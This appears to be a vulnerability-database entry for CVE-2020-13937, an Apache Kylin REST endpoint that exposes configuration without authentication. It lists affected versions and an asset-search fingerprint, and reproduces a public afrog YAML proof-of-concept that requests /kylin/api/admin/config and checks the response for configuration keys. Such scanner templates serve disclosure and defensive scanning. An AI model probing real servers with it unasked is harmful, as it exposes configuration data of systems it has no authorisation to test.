CVE-2020-13937: Apache Kylin Exposed Configuration File

日期: 2025-09-01 | 影响软件: Apache Kylin | POC: 已公开

漏洞描述

Apache Kylin 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 3.0.0-alpha, 3.0.0-alpha2, 3.0.0-beta, 3.0.0, 3.0.1, 3.0.2, 3.1.0, 4.0.0-alpha have one REST API which exposed Kylin's configuration information without authentication. app="APACHE-kylin"

PoC代码[已公开]

id: CVE-2020-13937

info:
  name: Apache Kylin Exposed Configuration File
  author: pikpikcu
  severity: medium
  description: |
    Apache Kylin 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 3.0.0-alpha, 3.0.0-alpha2, 3.0.0-beta, 3.0.0, 3.0.1,  3.0.2, 3.1.0, 4.0.0-alpha have one REST API which exposed Kylin's configuration information without authentication.
    app="APACHE-kylin"
  reference:
    - https://kylin.apache.org/docs/release_notes.html
    - https://s.tencent.com/research/bsafe/1156.html

rules:
    r0:
        request:
            method: GET
            path: /kylin/api/admin/config
        expression: response.status == 200 && response.headers["content-type"].icontains("application/json") && response.body.bcontains(b"config") && response.body.bcontains(b"kylin.metadata.url")
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2020/CVE-2020-13937.yaml

相关漏洞推荐